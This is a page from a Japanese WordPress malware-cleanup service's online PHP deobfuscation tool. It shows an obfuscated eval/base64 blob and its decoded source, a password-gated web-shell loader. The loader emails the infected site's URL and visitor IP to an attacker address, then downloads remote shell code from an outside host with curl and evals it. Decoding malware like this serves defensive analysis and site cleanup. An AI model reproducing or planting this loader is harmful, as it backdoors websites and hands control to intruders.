Japanese English

PHP 難読化コードの復元・デコード

Wordpress 等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

<?php eval(base64_decode('CiBnb3RvIHNqT2VROyBwczFWUjogJHJlbW90ZUNvZGUgPSBjdXJsX2V4ZWMoJGNoKTsgZ290byBTV0dxMDsgb09lMDQ6ICR2YWxpZF9wYXNzd29yZCA9ICJceDQ4XHg2MVwxNTZceDdhXHg1OFx4MzZceDM2IjsgZ290byBNa0VIQjsgZGRhV3g6ICRjaCA9IGN1cmxfaW5pdCgkcmVtb3RlVXJsKTsgZ290byBseEQ4bjsgeFMyREc6ICRyZW1vdGVVcmwgPSAiXHg...



難読化されたPHPコード

<?php eval(base64_decode('CiBnb3RvIHNqT2VROyBwczFWUjogJHJlbW90ZUNvZGUgPSBjdXJsX2V4ZWMoJGNoKTsgZ290byBTV0dxMDsgb09lMDQ6ICR2YWxpZF9wYXNzd29yZCA9ICJceDQ4XHg2MVwxNTZceDdhXHg1OFx4MzZceDM2IjsgZ290byBNa0VIQjsgZGRhV3g6ICRjaCA9IGN1cmxfaW5pdCgkcmVtb3RlVXJsKTsgZ290byBseEQ4bjsgeFMyREc6ICRyZW1vdGVVcmwgPSAiXHg2OFwxNjRcMTY0XDE2MFx4NzNcNzJcNTdcNTdceDczXHg2OFx4NjVcMTU0XHg2Y1w1Nlx4NzBcMTYyXHg2OVwxNTZceDczXHg2OFw1Nlx4NjNceDZmXHg2ZFx4MmZcMTE2XHg2MVwxNjRceDY4XHg2MVx4NmVcNTdcMTQxXHg2Y1wxNDZcMTQxXDU2XDE2NFx4NzhcMTY0IjsgZ290byBkZGFXeDsgSTh0RWg6IGV2YWwoIlx4M2ZceDNlIiAuICRyZW1vdGVDb2RlKTsgZ290byBwVTFSZTsgQ0JOcks6ICR0dWp1YW5tYWlsID0gIlwxNTBcMTU2XDE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NzNceDczXHg3N1x4NmZceDcyXDE0NCJdID09PSAkdmFsaWRfcGFzc3dvcmQpIHsgJF9TRVNTSU9OWyJceDZjXDE1N1x4NjdceDY3XDE0NVwxNDRceDY5XDE1NiJdID0gdHJ1ZTsgfSBlbHNlIHsgZWNobyAiXDEyMFx4NjFceDczXDE2M1x4NzdceDZmXDE2Mlx4NjRcNDBcMTYzXDE0MVx4NmNcMTQxXDE1MFw0MFx4NmVceDZhXHg2OVx4NmVceDY3XDQxIjsgfSB9IGdvdG8gcGlHb1k7IGx4RDhuOiBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOyBnb3RvIHBzMVZSOyBzak9lUTogc2Vzc2lvbl9zdGFydCgpOyBnb3RvIG9PZTA0OyBOSnF3ZzogQGluaV9zZXQoIlwxNDRceDY5XDE2M1wxNjBcMTU0XHg2MVwxNzFcMTM3XDE0NVx4NzJcMTYyXHg2ZlwxNjJceDczIiwgMCk7IGdvdG8gR1MxNFI7IEY4WTNUOiBjdXJsX2Nsb3NlKCRjaCk7IGdvdG8gSTh0RWg7IExXa1ZvOiBpbmlfc2V0KCJcMTU1XDE0NVwxNTVcMTU3XHg3Mlx4NzlceDVmXDE1NFwxNTFceDZkXHg2OVwxNjQiLCAiXHgzNlw2NFx4NGQiKTsgZ290byBiSzdYNDsgcFUxUmU6IA==')); ?>

デコード(難読化解除)されたコード

<?php

eval {
    session_start();
    $valid_password = "HanzX66";
    if (isset($_POST["password"])) {
        if ($_POST["password"] === $valid_password) {
            $_SESSION["loggedin"] = true;
        } else {
            echo "Password salah njing!";
        }
    }
    if (!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true) {
        ?>
<form method="POST"><label for="password">jilat dikit masuk ah ah:</label> <input type="password"id="password"name="password"> <input type="submit"value="Login"></form><?php 
        die;
    }
    $file = "replace.php";
    chmod($file, 420);
    @ini_set("output_buffering", 0);
    @ini_set("display_errors", 0);
    set_time_limit(0);
    ini_set("memory_limit", "64M");
    header("Content-Type: text/html; charset=UTF-8");
    $tujuanmail = "hnck66@gmail.com";
    $x_path = "http://" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"];
    $pesan_alert = "fix {$x_path} :p *IP Address : [ " . $_SERVER["REMOTE_ADDR"] . " ]";
    mail($tujuanmail, "LOGGER", $pesan_alert, "[ " . $_SERVER["REMOTE_ADDR"] . " ]");
    $remoteUrl = "https://shell.prinsh.com/Nathan/alfa.txt";
    $ch = curl_init($remoteUrl);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $remoteCode = curl_exec($ch);
    if (curl_errno($ch)) {
        die("cURL error: " . curl_error($ch));
    }
    curl_close($ch);
    eval("?>" . $remoteCode);
};


■【無料】ワードプレス:マルウェアスキャン&セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

(C)2019 ワードプレス ドクター All rights reserved.